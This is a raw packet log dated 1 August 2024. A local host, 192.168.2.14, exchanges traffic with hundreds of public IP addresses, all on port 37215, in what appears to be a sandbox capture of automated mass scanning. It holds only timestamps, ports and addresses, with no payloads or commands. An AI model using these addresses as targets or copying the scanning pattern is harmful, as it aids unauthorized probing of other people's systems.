Aug 1, 2024 15:34:56.855067015 CEST	47767	37215	192.168.2.14	200.72.248.194
Aug 1, 2024 15:34:56.855071068 CEST	37215	47767	41.229.34.33	192.168.2.14
Aug 1, 2024 15:34:56.855081081 CEST	37215	47767	41.181.87.70	192.168.2.14
Aug 1, 2024 15:34:56.855087996 CEST	47767	37215	192.168.2.14	197.117.183.255
Aug 1, 2024 15:34:56.855091095 CEST	37215	47767	116.122.159.73	192.168.2.14
Aug 1, 2024 15:34:56.855092049 CEST	47767	37215	192.168.2.14	197.17.154.0
Aug 1, 2024 15:34:56.855098963 CEST	37215	47767	197.159.91.59	192.168.2.14
Aug 1, 2024 15:34:56.855108976 CEST	37215	47767	157.147.34.89	192.168.2.14
Aug 1, 2024 15:34:56.855118990 CEST	37215	47767	157.86.186.82	192.168.2.14
Aug 1, 2024 15:34:56.855119944 CEST	47767	37215	192.168.2.14	116.122.159.73
Aug 1, 2024 15:34:56.855122089 CEST	47767	37215	192.168.2.14	41.181.87.70
Aug 1, 2024 15:34:56.855125904 CEST	47767	37215	192.168.2.14	115.207.220.252
Aug 1, 2024 15:34:56.855125904 CEST	47767	37215	192.168.2.14	197.159.91.59
Aug 1, 2024 15:34:56.855130911 CEST	47767	37215	192.168.2.14	41.229.34.33
Aug 1, 2024 15:34:56.855145931 CEST	47767	37215	192.168.2.14	157.147.34.89
Aug 1, 2024 15:34:56.855156898 CEST	47767	37215	192.168.2.14	157.86.186.82
Aug 1, 2024 15:34:56.855487108 CEST	37215	47767	210.206.245.32	192.168.2.14
Aug 1, 2024 15:34:56.855498075 CEST	37215	47767	41.173.175.247	192.168.2.14
Aug 1, 2024 15:34:56.855506897 CEST	37215	47767	157.222.169.28	192.168.2.14
Aug 1, 2024 15:34:56.855515957 CEST	37215	47767	197.90.214.116	192.168.2.14
Aug 1, 2024 15:34:56.855525970 CEST	37215	47767	41.114.57.144	192.168.2.14
Aug 1, 2024 15:34:56.855528116 CEST	47767	37215	192.168.2.14	210.206.245.32
Aug 1, 2024 15:34:56.855534077 CEST	47767	37215	192.168.2.14	41.173.175.247
Aug 1, 2024 15:34:56.855535984 CEST	37215	47767	157.214.156.161	192.168.2.14
Aug 1, 2024 15:34:56.855537891 CEST	47767	37215	192.168.2.14	157.222.169.28
Aug 1, 2024 15:34:56.855545998 CEST	37215	47767	157.36.160.152	192.168.2.14
Aug 1, 2024 15:34:56.855556011 CEST	37215	47767	41.37.117.100	192.168.2.14
Aug 1, 2024 15:34:56.855565071 CEST	37215	47767	157.84.4.1	192.168.2.14
Aug 1, 2024 15:34:56.855567932 CEST	47767	37215	192.168.2.14	157.214.156.161
Aug 1, 2024 15:34:56.855568886 CEST	47767	37215	192.168.2.14	41.114.57.144
Aug 1, 2024 15:34:56.855575085 CEST	37215	47767	197.219.253.245	192.168.2.14
Aug 1, 2024 15:34:56.855583906 CEST	37215	47767	41.88.166.205	192.168.2.14
Aug 1, 2024 15:34:56.855592012 CEST	47767	37215	192.168.2.14	157.36.160.152
Aug 1, 2024 15:34:56.855601072 CEST	47767	37215	192.168.2.14	197.90.214.116
Aug 1, 2024 15:34:56.855602980 CEST	47767	37215	192.168.2.14	41.37.117.100
Aug 1, 2024 15:34:56.855602980 CEST	47767	37215	192.168.2.14	157.84.4.1
Aug 1, 2024 15:34:56.855604887 CEST	47767	37215	192.168.2.14	197.219.253.245
Aug 1, 2024 15:34:56.855628014 CEST	47767	37215	192.168.2.14	41.88.166.205
Aug 1, 2024 15:34:56.856257915 CEST	37215	47767	173.114.107.169	192.168.2.14
Aug 1, 2024 15:34:56.856280088 CEST	37215	47767	197.76.83.220	192.168.2.14
Aug 1, 2024 15:34:56.856291056 CEST	37215	47767	152.232.93.173	192.168.2.14
Aug 1, 2024 15:34:56.856301069 CEST	37215	47767	157.74.54.45	192.168.2.14
Aug 1, 2024 15:34:56.856311083 CEST	37215	47767	119.247.203.93	192.168.2.14
Aug 1, 2024 15:34:56.856313944 CEST	47767	37215	192.168.2.14	173.114.107.169
Aug 1, 2024 15:34:56.856316090 CEST	47767	37215	192.168.2.14	197.76.83.220
Aug 1, 2024 15:34:56.856322050 CEST	37215	47767	41.121.204.245	192.168.2.14
Aug 1, 2024 15:34:56.856332064 CEST	37215	47767	157.143.230.35	192.168.2.14
Aug 1, 2024 15:34:56.856340885 CEST	47767	37215	192.168.2.14	152.232.93.173
Aug 1, 2024 15:34:56.856348038 CEST	47767	37215	192.168.2.14	157.74.54.45
Aug 1, 2024 15:34:56.856348038 CEST	37215	47767	149.176.208.237	192.168.2.14
Aug 1, 2024 15:34:56.856352091 CEST	47767	37215	192.168.2.14	41.121.204.245
Aug 1, 2024 15:34:56.856358051 CEST	37215	47767	41.85.120.196	192.168.2.14
Aug 1, 2024 15:34:56.856369019 CEST	37215	47767	99.6.122.63	192.168.2.14
Aug 1, 2024 15:34:56.856379032 CEST	47767	37215	192.168.2.14	157.143.230.35
Aug 1, 2024 15:34:56.856379032 CEST	37215	47767	157.21.7.82	192.168.2.14
Aug 1, 2024 15:34:56.856383085 CEST	47767	37215	192.168.2.14	149.176.208.237
Aug 1, 2024 15:34:56.856389999 CEST	37215	47767	121.244.99.184	192.168.2.14
Aug 1, 2024 15:34:56.856399059 CEST	37215	47767	197.229.191.118	192.168.2.14
Aug 1, 2024 15:34:56.856400967 CEST	47767	37215	192.168.2.14	41.85.120.196
Aug 1, 2024 15:34:56.856405020 CEST	47767	37215	192.168.2.14	99.6.122.63
Aug 1, 2024 15:34:56.856410980 CEST	37215	47767	136.240.75.168	192.168.2.14
Aug 1, 2024 15:34:56.856414080 CEST	47767	37215	192.168.2.14	157.21.7.82
Aug 1, 2024 15:34:56.856421947 CEST	37215	47767	76.134.1.80	192.168.2.14
Aug 1, 2024 15:34:56.856426001 CEST	47767	37215	192.168.2.14	121.244.99.184
Aug 1, 2024 15:34:56.856431961 CEST	47767	37215	192.168.2.14	197.229.191.118
Aug 1, 2024 15:34:56.856431961 CEST	37215	47767	44.107.91.32	192.168.2.14
Aug 1, 2024 15:34:56.856443882 CEST	37215	47767	157.138.68.130	192.168.2.14
Aug 1, 2024 15:34:56.856453896 CEST	37215	47767	8.77.197.97	192.168.2.14
Aug 1, 2024 15:34:56.856455088 CEST	47767	37215	192.168.2.14	136.240.75.168
Aug 1, 2024 15:34:56.856462955 CEST	37215	47767	135.126.90.169	192.168.2.14
Aug 1, 2024 15:34:56.856463909 CEST	47767	37215	192.168.2.14	76.134.1.80
Aug 1, 2024 15:34:56.856463909 CEST	47767	37215	192.168.2.14	44.107.91.32
Aug 1, 2024 15:34:56.856467009 CEST	37215	47767	58.206.132.145	192.168.2.14
Aug 1, 2024 15:34:56.856476068 CEST	37215	47767	193.62.208.172	192.168.2.14
Aug 1, 2024 15:34:56.856491089 CEST	47767	37215	192.168.2.14	157.138.68.130
Aug 1, 2024 15:34:56.856497049 CEST	37215	47767	41.39.186.244	192.168.2.14
Aug 1, 2024 15:34:56.856499910 CEST	47767	37215	192.168.2.14	193.62.208.172
Aug 1, 2024 15:34:56.856506109 CEST	47767	37215	192.168.2.14	119.247.203.93
Aug 1, 2024 15:34:56.856506109 CEST	47767	37215	192.168.2.14	8.77.197.97
Aug 1, 2024 15:34:56.856509924 CEST	37215	47767	157.158.40.26	192.168.2.14
Aug 1, 2024 15:34:56.856517076 CEST	47767	37215	192.168.2.14	58.206.132.145
Aug 1, 2024 15:34:56.856518030 CEST	47767	37215	192.168.2.14	135.126.90.169
Aug 1, 2024 15:34:56.856520891 CEST	37215	47767	197.91.109.87	192.168.2.14
Aug 1, 2024 15:34:56.856525898 CEST	37215	47767	41.170.96.15	192.168.2.14
Aug 1, 2024 15:34:56.856535912 CEST	37215	47767	197.104.19.50	192.168.2.14
Aug 1, 2024 15:34:56.856544018 CEST	47767	37215	192.168.2.14	41.39.186.244
Aug 1, 2024 15:34:56.856547117 CEST	37215	47767	157.130.3.45	192.168.2.14
Aug 1, 2024 15:34:56.856554031 CEST	47767	37215	192.168.2.14	197.91.109.87
Aug 1, 2024 15:34:56.856559038 CEST	37215	47767	160.44.142.45	192.168.2.14
Aug 1, 2024 15:34:56.856569052 CEST	47767	37215	192.168.2.14	157.158.40.26
Aug 1, 2024 15:34:56.856570005 CEST	37215	47767	157.29.131.245	192.168.2.14
Aug 1, 2024 15:34:56.856576920 CEST	47767	37215	192.168.2.14	197.104.19.50
Aug 1, 2024 15:34:56.856580019 CEST	37215	47767	197.197.246.96	192.168.2.14
Aug 1, 2024 15:34:56.856580973 CEST	47767	37215	192.168.2.14	41.170.96.15
Aug 1, 2024 15:34:56.856585979 CEST	47767	37215	192.168.2.14	157.130.3.45
Aug 1, 2024 15:34:56.856590033 CEST	37215	47767	157.112.241.123	192.168.2.14
Aug 1, 2024 15:34:56.856590986 CEST	47767	37215	192.168.2.14	160.44.142.45
Aug 1, 2024 15:34:56.856601000 CEST	37215	47767	157.193.29.198	192.168.2.14
Aug 1, 2024 15:34:56.856604099 CEST	47767	37215	192.168.2.14	157.29.131.245
Aug 1, 2024 15:34:56.856611013 CEST	37215	47767	197.67.216.45	192.168.2.14
Aug 1, 2024 15:34:56.856612921 CEST	47767	37215	192.168.2.14	197.197.246.96
Aug 1, 2024 15:34:56.856621981 CEST	37215	47767	41.70.98.150	192.168.2.14
Aug 1, 2024 15:34:56.856622934 CEST	47767	37215	192.168.2.14	157.112.241.123
Aug 1, 2024 15:34:56.856631041 CEST	37215	47767	157.21.242.107	192.168.2.14
Aug 1, 2024 15:34:56.856642008 CEST	37215	47767	41.168.230.58	192.168.2.14
Aug 1, 2024 15:34:56.856651068 CEST	47767	37215	192.168.2.14	157.193.29.198
Aug 1, 2024 15:34:56.856653929 CEST	37215	47767	59.146.160.181	192.168.2.14
Aug 1, 2024 15:34:56.856654882 CEST	47767	37215	192.168.2.14	41.70.98.150
Aug 1, 2024 15:34:56.856662989 CEST	37215	47767	184.119.116.174	192.168.2.14
Aug 1, 2024 15:34:56.856673956 CEST	37215	47767	197.52.145.226	192.168.2.14
Aug 1, 2024 15:34:56.856673956 CEST	47767	37215	192.168.2.14	197.67.216.45
Aug 1, 2024 15:34:56.856673956 CEST	47767	37215	192.168.2.14	157.21.242.107
Aug 1, 2024 15:34:56.856683969 CEST	37215	47767	70.45.88.250	192.168.2.14
Aug 1, 2024 15:34:56.856693029 CEST	37215	47767	197.241.187.121	192.168.2.14
Aug 1, 2024 15:34:56.856702089 CEST	37215	47767	197.233.134.99	192.168.2.14
Aug 1, 2024 15:34:56.856704950 CEST	47767	37215	192.168.2.14	184.119.116.174
Aug 1, 2024 15:34:56.856709003 CEST	47767	37215	192.168.2.14	59.146.160.181
Aug 1, 2024 15:34:56.856709003 CEST	47767	37215	192.168.2.14	197.52.145.226
Aug 1, 2024 15:34:56.856723070 CEST	37215	47767	157.234.233.14	192.168.2.14
Aug 1, 2024 15:34:56.856724024 CEST	47767	37215	192.168.2.14	70.45.88.250
Aug 1, 2024 15:34:56.856735945 CEST	47767	37215	192.168.2.14	197.233.134.99
Aug 1, 2024 15:34:56.856738091 CEST	47767	37215	192.168.2.14	197.241.187.121
Aug 1, 2024 15:34:56.856762886 CEST	47767	37215	192.168.2.14	157.234.233.14
Aug 1, 2024 15:34:56.856789112 CEST	47767	37215	192.168.2.14	41.168.230.58
Aug 1, 2024 15:34:56.857346058 CEST	37215	47767	41.150.3.88	192.168.2.14
Aug 1, 2024 15:34:56.857357979 CEST	37215	47767	92.176.125.168	192.168.2.14
Aug 1, 2024 15:34:56.857367992 CEST	37215	47767	76.79.65.175	192.168.2.14
Aug 1, 2024 15:34:56.857377052 CEST	37215	47767	157.67.94.230	192.168.2.14
Aug 1, 2024 15:34:56.857386112 CEST	37215	47767	83.124.132.190	192.168.2.14
Aug 1, 2024 15:34:56.857394934 CEST	37215	47767	197.220.34.9	192.168.2.14
Aug 1, 2024 15:34:56.857395887 CEST	47767	37215	192.168.2.14	92.176.125.168
Aug 1, 2024 15:34:56.857398987 CEST	47767	37215	192.168.2.14	41.150.3.88
Aug 1, 2024 15:34:56.857407093 CEST	37215	47767	197.74.128.205	192.168.2.14
Aug 1, 2024 15:34:56.857409954 CEST	47767	37215	192.168.2.14	157.67.94.230
Aug 1, 2024 15:34:56.857413054 CEST	47767	37215	192.168.2.14	76.79.65.175
Aug 1, 2024 15:34:56.857420921 CEST	37215	47767	197.38.139.56	192.168.2.14
Aug 1, 2024 15:34:56.857423067 CEST	47767	37215	192.168.2.14	83.124.132.190
Aug 1, 2024 15:34:56.857431889 CEST	37215	47767	157.185.146.40	192.168.2.14
Aug 1, 2024 15:34:56.857440948 CEST	47767	37215	192.168.2.14	197.220.34.9
Aug 1, 2024 15:34:56.857440948 CEST	47767	37215	192.168.2.14	197.74.128.205
Aug 1, 2024 15:34:56.857441902 CEST	37215	47767	157.175.27.16	192.168.2.14
Aug 1, 2024 15:34:56.857453108 CEST	37215	47767	157.46.42.17	192.168.2.14
Aug 1, 2024 15:34:56.857464075 CEST	37215	47767	208.67.56.114	192.168.2.14
Aug 1, 2024 15:34:56.857469082 CEST	47767	37215	192.168.2.14	197.38.139.56
Aug 1, 2024 15:34:56.857472897 CEST	37215	47767	9.50.79.142	192.168.2.14
Aug 1, 2024 15:34:56.857484102 CEST	37215	47767	197.200.154.27	192.168.2.14
Aug 1, 2024 15:34:56.857486010 CEST	47767	37215	192.168.2.14	157.46.42.17
Aug 1, 2024 15:34:56.857494116 CEST	37215	47767	197.173.88.168	192.168.2.14
Aug 1, 2024 15:34:56.857500076 CEST	47767	37215	192.168.2.14	157.175.27.16
Aug 1, 2024 15:34:56.857503891 CEST	37215	47767	157.154.221.57	192.168.2.14
Aug 1, 2024 15:34:56.857513905 CEST	37215	47767	14.190.104.245	192.168.2.14
Aug 1, 2024 15:34:56.857513905 CEST	47767	37215	192.168.2.14	157.185.146.40
Aug 1, 2024 15:34:56.857513905 CEST	47767	37215	192.168.2.14	208.67.56.114
Aug 1, 2024 15:34:56.857513905 CEST	47767	37215	192.168.2.14	9.50.79.142
Aug 1, 2024 15:34:56.857520103 CEST	47767	37215	192.168.2.14	197.200.154.27
Aug 1, 2024 15:34:56.857523918 CEST	37215	47767	197.252.210.245	192.168.2.14
Aug 1, 2024 15:34:56.857527018 CEST	47767	37215	192.168.2.14	197.173.88.168
Aug 1, 2024 15:34:56.857531071 CEST	47767	37215	192.168.2.14	157.154.221.57
Aug 1, 2024 15:34:56.857533932 CEST	37215	47767	197.226.46.21	192.168.2.14
Aug 1, 2024 15:34:56.857543945 CEST	37215	47767	197.196.40.133	192.168.2.14
Aug 1, 2024 15:34:56.857554913 CEST	37215	47767	197.150.90.60	192.168.2.14
Aug 1, 2024 15:34:56.857561111 CEST	47767	37215	192.168.2.14	197.252.210.245
Aug 1, 2024 15:34:56.857562065 CEST	47767	37215	192.168.2.14	197.226.46.21
Aug 1, 2024 15:34:56.857564926 CEST	37215	47767	187.160.51.75	192.168.2.14
Aug 1, 2024 15:34:56.857580900 CEST	37215	47767	41.136.78.84	192.168.2.14
Aug 1, 2024 15:34:56.857589960 CEST	47767	37215	192.168.2.14	187.160.51.75
Aug 1, 2024 15:34:56.857593060 CEST	37215	47767	197.71.56.244	192.168.2.14
Aug 1, 2024 15:34:56.857595921 CEST	47767	37215	192.168.2.14	197.150.90.60
Aug 1, 2024 15:34:56.857599974 CEST	47767	37215	192.168.2.14	14.190.104.245
Aug 1, 2024 15:34:56.857599974 CEST	47767	37215	192.168.2.14	197.196.40.133
Aug 1, 2024 15:34:56.857601881 CEST	37215	47767	41.7.253.92	192.168.2.14
Aug 1, 2024 15:34:56.857611895 CEST	37215	47767	148.245.147.90	192.168.2.14
Aug 1, 2024 15:34:56.857621908 CEST	37215	47767	63.182.26.190	192.168.2.14
Aug 1, 2024 15:34:56.857625961 CEST	47767	37215	192.168.2.14	41.136.78.84
Aug 1, 2024 15:34:56.857630968 CEST	37215	47767	197.133.207.105	192.168.2.14
Aug 1, 2024 15:34:56.857640028 CEST	47767	37215	192.168.2.14	41.7.253.92
Aug 1, 2024 15:34:56.857641935 CEST	37215	47767	41.86.147.45	192.168.2.14
Aug 1, 2024 15:34:56.857649088 CEST	47767	37215	192.168.2.14	197.71.56.244
Aug 1, 2024 15:34:56.857651949 CEST	47767	37215	192.168.2.14	148.245.147.90
Aug 1, 2024 15:34:56.857651949 CEST	37215	47767	130.47.155.129	192.168.2.14
Aug 1, 2024 15:34:56.857655048 CEST	47767	37215	192.168.2.14	63.182.26.190
Aug 1, 2024 15:34:56.857664108 CEST	37215	47767	197.176.24.104	192.168.2.14
Aug 1, 2024 15:34:56.857671022 CEST	47767	37215	192.168.2.14	197.133.207.105
Aug 1, 2024 15:34:56.857675076 CEST	37215	47767	197.18.236.36	192.168.2.14
Aug 1, 2024 15:34:56.857685089 CEST	37215	47767	157.19.219.96	192.168.2.14
Aug 1, 2024 15:34:56.857693911 CEST	37215	47767	41.2.22.184	192.168.2.14
Aug 1, 2024 15:34:56.857695103 CEST	47767	37215	192.168.2.14	197.176.24.104
Aug 1, 2024 15:34:56.857696056 CEST	47767	37215	192.168.2.14	130.47.155.129
Aug 1, 2024 15:34:56.857697964 CEST	37215	47767	41.117.191.144	192.168.2.14
Aug 1, 2024 15:34:56.857701063 CEST	47767	37215	192.168.2.14	41.86.147.45
Aug 1, 2024 15:34:56.857707024 CEST	37215	47767	151.198.130.124	192.168.2.14
Aug 1, 2024 15:34:56.857717037 CEST	37215	47767	172.128.243.228	192.168.2.14
Aug 1, 2024 15:34:56.857723951 CEST	47767	37215	192.168.2.14	41.2.22.184
Aug 1, 2024 15:34:56.857727051 CEST	37215	47767	157.182.228.215	192.168.2.14
Aug 1, 2024 15:34:56.857729912 CEST	47767	37215	192.168.2.14	197.18.236.36
Aug 1, 2024 15:34:56.857729912 CEST	47767	37215	192.168.2.14	157.19.219.96
Aug 1, 2024 15:34:56.857738018 CEST	47767	37215	192.168.2.14	151.198.130.124
Aug 1, 2024 15:34:56.857738018 CEST	37215	47767	157.194.129.160	192.168.2.14
Aug 1, 2024 15:34:56.857748985 CEST	47767	37215	192.168.2.14	172.128.243.228
Aug 1, 2024 15:34:56.857749939 CEST	37215	47767	197.141.27.118	192.168.2.14
Aug 1, 2024 15:34:56.857750893 CEST	47767	37215	192.168.2.14	41.117.191.144
Aug 1, 2024 15:34:56.857759953 CEST	37215	47767	111.219.90.142	192.168.2.14
Aug 1, 2024 15:34:56.857760906 CEST	47767	37215	192.168.2.14	157.182.228.215
Aug 1, 2024 15:34:56.857769966 CEST	37215	47767	17.213.200.107	192.168.2.14
Aug 1, 2024 15:34:56.857779026 CEST	37215	47767	41.125.82.183	192.168.2.14
Aug 1, 2024 15:34:56.857780933 CEST	47767	37215	192.168.2.14	197.141.27.118
Aug 1, 2024 15:34:56.857785940 CEST	47767	37215	192.168.2.14	157.194.129.160
Aug 1, 2024 15:34:56.857790947 CEST	37215	47767	197.104.130.27	192.168.2.14
Aug 1, 2024 15:34:56.857800007 CEST	37215	47767	119.90.131.53	192.168.2.14
Aug 1, 2024 15:34:56.857801914 CEST	47767	37215	192.168.2.14	17.213.200.107
Aug 1, 2024 15:34:56.857820988 CEST	47767	37215	192.168.2.14	41.125.82.183
Aug 1, 2024 15:34:56.857822895 CEST	47767	37215	192.168.2.14	111.219.90.142
Aug 1, 2024 15:34:56.857822895 CEST	37215	47767	197.153.149.210	192.168.2.14
Aug 1, 2024 15:34:56.857827902 CEST	47767	37215	192.168.2.14	119.90.131.53
Aug 1, 2024 15:34:56.857839108 CEST	37215	47767	197.152.239.61	192.168.2.14
Aug 1, 2024 15:34:56.857846975 CEST	47767	37215	192.168.2.14	197.104.130.27
Aug 1, 2024 15:34:56.857848883 CEST	37215	47767	157.108.69.147	192.168.2.14
Aug 1, 2024 15:34:56.857860088 CEST	37215	47767	197.177.166.85	192.168.2.14
Aug 1, 2024 15:34:56.857863903 CEST	47767	37215	192.168.2.14	197.153.149.210
Aug 1, 2024 15:34:56.857870102 CEST	37215	47767	197.141.234.224	192.168.2.14
Aug 1, 2024 15:34:56.857876062 CEST	47767	37215	192.168.2.14	197.152.239.61
Aug 1, 2024 15:34:56.857889891 CEST	37215	47767	41.12.104.26	192.168.2.14
Aug 1, 2024 15:34:56.857896090 CEST	47767	37215	192.168.2.14	157.108.69.147
Aug 1, 2024 15:34:56.857897997 CEST	47767	37215	192.168.2.14	197.177.166.85
Aug 1, 2024 15:34:56.857898951 CEST	37215	47767	157.101.184.107	192.168.2.14
Aug 1, 2024 15:34:56.857906103 CEST	47767	37215	192.168.2.14	197.141.234.224
Aug 1, 2024 15:34:56.857909918 CEST	37215	47767	160.149.238.205	192.168.2.14
Aug 1, 2024 15:34:56.857919931 CEST	37215	47767	41.135.240.219	192.168.2.14
Aug 1, 2024 15:34:56.857922077 CEST	47767	37215	192.168.2.14	41.12.104.26
Aug 1, 2024 15:34:56.857928991 CEST	37215	47767	41.12.240.236	192.168.2.14
Aug 1, 2024 15:34:56.857939005 CEST	37215	47767	41.18.157.111	192.168.2.14
Aug 1, 2024 15:34:56.857942104 CEST	47767	37215	192.168.2.14	157.101.184.107
Aug 1, 2024 15:34:56.857944012 CEST	47767	37215	192.168.2.14	160.149.238.205
Aug 1, 2024 15:34:56.857949972 CEST	37215	47767	197.86.199.8	192.168.2.14
Aug 1, 2024 15:34:56.857954979 CEST	47767	37215	192.168.2.14	41.135.240.219
Aug 1, 2024 15:34:56.857960939 CEST	37215	47767	157.179.229.76	192.168.2.14
Aug 1, 2024 15:34:56.857970953 CEST	37215	47767	41.171.17.204	192.168.2.14
Aug 1, 2024 15:34:56.857980013 CEST	37215	47767	157.74.188.160	192.168.2.14
Aug 1, 2024 15:34:56.857990980 CEST	37215	47767	197.58.206.143	192.168.2.14
Aug 1, 2024 15:34:56.857991934 CEST	47767	37215	192.168.2.14	197.86.199.8
Aug 1, 2024 15:34:56.857991934 CEST	47767	37215	192.168.2.14	157.179.229.76
Aug 1, 2024 15:34:56.857994080 CEST	47767	37215	192.168.2.14	41.12.240.236
Aug 1, 2024 15:34:56.857994080 CEST	47767	37215	192.168.2.14	41.18.157.111
Aug 1, 2024 15:34:56.858000994 CEST	37215	47767	41.117.23.22	192.168.2.14
Aug 1, 2024 15:34:56.858011961 CEST	37215	47767	157.158.84.141	192.168.2.14
Aug 1, 2024 15:34:56.858012915 CEST	47767	37215	192.168.2.14	157.74.188.160
Aug 1, 2024 15:34:56.858022928 CEST	37215	47767	197.137.205.208	192.168.2.14
Aug 1, 2024 15:34:56.858032942 CEST	37215	47767	163.42.224.94	192.168.2.14
Aug 1, 2024 15:34:56.858033895 CEST	47767	37215	192.168.2.14	197.58.206.143
Aug 1, 2024 15:34:56.858033895 CEST	47767	37215	192.168.2.14	41.171.17.204
Aug 1, 2024 15:34:56.858042002 CEST	37215	47767	197.191.74.75	192.168.2.14
Aug 1, 2024 15:34:56.858051062 CEST	37215	47767	197.92.56.154	192.168.2.14
Aug 1, 2024 15:34:56.858061075 CEST	37215	47767	41.46.147.104	192.168.2.14
Aug 1, 2024 15:34:56.858067989 CEST	47767	37215	192.168.2.14	41.117.23.22
Aug 1, 2024 15:34:56.858067989 CEST	47767	37215	192.168.2.14	163.42.224.94
Aug 1, 2024 15:34:56.858077049 CEST	47767	37215	192.168.2.14	197.191.74.75
Aug 1, 2024 15:34:56.858078003 CEST	37215	47767	41.23.136.70	192.168.2.14
Aug 1, 2024 15:34:56.858084917 CEST	47767	37215	192.168.2.14	197.92.56.154
Aug 1, 2024 15:34:56.858087063 CEST	37215	47767	41.241.93.77	192.168.2.14
Aug 1, 2024 15:34:56.858097076 CEST	37215	47767	41.225.137.7	192.168.2.14
Aug 1, 2024 15:34:56.858097076 CEST	47767	37215	192.168.2.14	41.46.147.104
Aug 1, 2024 15:34:56.858105898 CEST	37215	47767	197.44.123.150	192.168.2.14
Aug 1, 2024 15:34:56.858108044 CEST	47767	37215	192.168.2.14	157.158.84.141
Aug 1, 2024 15:34:56.858108997 CEST	47767	37215	192.168.2.14	197.137.205.208
Aug 1, 2024 15:34:56.858117104 CEST	37215	47767	197.69.76.72	192.168.2.14
Aug 1, 2024 15:34:56.858122110 CEST	47767	37215	192.168.2.14	41.23.136.70
Aug 1, 2024 15:34:56.858122110 CEST	47767	37215	192.168.2.14	41.241.93.77
Aug 1, 2024 15:34:56.858124971 CEST	47767	37215	192.168.2.14	41.225.137.7
Aug 1, 2024 15:34:56.858127117 CEST	37215	47767	157.59.133.168	192.168.2.14
Aug 1, 2024 15:34:56.858135939 CEST	47767	37215	192.168.2.14	197.44.123.150
Aug 1, 2024 15:34:56.858136892 CEST	37215	47767	197.73.155.152	192.168.2.14
Aug 1, 2024 15:34:56.858145952 CEST	37215	47767	54.13.239.184	192.168.2.14
Aug 1, 2024 15:34:56.858155966 CEST	37215	47767	41.126.121.67	192.168.2.14
Aug 1, 2024 15:34:56.858163118 CEST	47767	37215	192.168.2.14	157.59.133.168
Aug 1, 2024 15:34:56.858165979 CEST	37215	47767	157.66.58.1	192.168.2.14
Aug 1, 2024 15:34:56.858170033 CEST	47767	37215	192.168.2.14	197.69.76.72
Aug 1, 2024 15:34:56.858174086 CEST	47767	37215	192.168.2.14	54.13.239.184
Aug 1, 2024 15:34:56.858175039 CEST	37215	47767	41.124.168.112	192.168.2.14
Aug 1, 2024 15:34:56.858186007 CEST	47767	37215	192.168.2.14	41.126.121.67
Aug 1, 2024 15:34:56.858186960 CEST	37215	47767	41.139.143.29	192.168.2.14
Aug 1, 2024 15:34:56.858191013 CEST	47767	37215	192.168.2.14	197.73.155.152
Aug 1, 2024 15:34:56.858196974 CEST	37215	47767	186.22.144.161	192.168.2.14
Aug 1, 2024 15:34:56.858201027 CEST	47767	37215	192.168.2.14	157.66.58.1
Aug 1, 2024 15:34:56.858206987 CEST	47767	37215	192.168.2.14	41.124.168.112
Aug 1, 2024 15:34:56.858206987 CEST	37215	47767	157.57.103.130	192.168.2.14
Aug 1, 2024 15:34:56.858217955 CEST	37215	47767	41.149.139.9	192.168.2.14
Aug 1, 2024 15:34:56.858218908 CEST	47767	37215	192.168.2.14	41.139.143.29
Aug 1, 2024 15:34:56.858232021 CEST	47767	37215	192.168.2.14	186.22.144.161
Aug 1, 2024 15:34:56.858242989 CEST	37215	47767	157.196.129.192	192.168.2.14
Aug 1, 2024 15:34:56.858253956 CEST	37215	47767	210.71.47.173	192.168.2.14
Aug 1, 2024 15:34:56.858258963 CEST	47767	37215	192.168.2.14	41.149.139.9
Aug 1, 2024 15:34:56.858263016 CEST	37215	47767	221.120.194.104	192.168.2.14
Aug 1, 2024 15:34:56.858263969 CEST	47767	37215	192.168.2.14	157.57.103.130
Aug 1, 2024 15:34:56.858273029 CEST	37215	47767	102.39.195.141	192.168.2.14
Aug 1, 2024 15:34:56.858278036 CEST	37215	47767	32.132.7.31	192.168.2.14
Aug 1, 2024 15:34:56.858282089 CEST	37215	47767	190.251.100.176	192.168.2.14
Aug 1, 2024 15:34:56.858287096 CEST	47767	37215	192.168.2.14	157.196.129.192
Aug 1, 2024 15:34:56.858289003 CEST	47767	37215	192.168.2.14	210.71.47.173
Aug 1, 2024 15:34:56.858289957 CEST	37215	47767	41.73.44.185	192.168.2.14
Aug 1, 2024 15:34:56.858300924 CEST	37215	47767	41.6.79.92	192.168.2.14
Aug 1, 2024 15:34:56.858310938 CEST	37215	47767	41.54.8.114	192.168.2.14
Aug 1, 2024 15:34:56.858319998 CEST	37215	47767	197.196.206.55	192.168.2.14
Aug 1, 2024 15:34:56.858323097 CEST	47767	37215	192.168.2.14	102.39.195.141
Aug 1, 2024 15:34:56.858323097 CEST	47767	37215	192.168.2.14	32.132.7.31
Aug 1, 2024 15:34:56.858325005 CEST	47767	37215	192.168.2.14	221.120.194.104
Aug 1, 2024 15:34:56.858325005 CEST	47767	37215	192.168.2.14	190.251.100.176
Aug 1, 2024 15:34:56.858330011 CEST	37215	47767	194.193.18.127	192.168.2.14
Aug 1, 2024 15:34:56.858331919 CEST	47767	37215	192.168.2.14	41.6.79.92
Aug 1, 2024 15:34:56.858340025 CEST	37215	47767	41.29.127.52	192.168.2.14
Aug 1, 2024 15:34:56.858340979 CEST	47767	37215	192.168.2.14	41.54.8.114
Aug 1, 2024 15:34:56.858346939 CEST	47767	37215	192.168.2.14	197.196.206.55
Aug 1, 2024 15:34:56.858350039 CEST	47767	37215	192.168.2.14	41.73.44.185
Aug 1, 2024 15:34:56.858350039 CEST	37215	47767	157.72.40.80	192.168.2.14
Aug 1, 2024 15:34:56.858361006 CEST	37215	47767	197.237.2.174	192.168.2.14
Aug 1, 2024 15:34:56.858371019 CEST	37215	47767	157.182.153.106	192.168.2.14
Aug 1, 2024 15:34:56.858376026 CEST	47767	37215	192.168.2.14	194.193.18.127
Aug 1, 2024 15:34:56.858387947 CEST	47767	37215	192.168.2.14	197.237.2.174
Aug 1, 2024 15:34:56.858392000 CEST	37215	47767	63.87.52.92	192.168.2.14
Aug 1, 2024 15:34:56.858402967 CEST	37215	47767	157.23.212.95	192.168.2.14
Aug 1, 2024 15:34:56.858412027 CEST	37215	47767	157.195.63.88	192.168.2.14
Aug 1, 2024 15:34:56.858419895 CEST	47767	37215	192.168.2.14	157.72.40.80
Aug 1, 2024 15:34:56.858421087 CEST	37215	47767	157.130.88.220	192.168.2.14
Aug 1, 2024 15:34:56.858422041 CEST	47767	37215	192.168.2.14	157.182.153.106
Aug 1, 2024 15:34:56.858422041 CEST	47767	37215	192.168.2.14	41.29.127.52
Aug 1, 2024 15:34:56.858431101 CEST	47767	37215	192.168.2.14	63.87.52.92
Aug 1, 2024 15:34:56.858431101 CEST	37215	47767	166.129.216.186	192.168.2.14
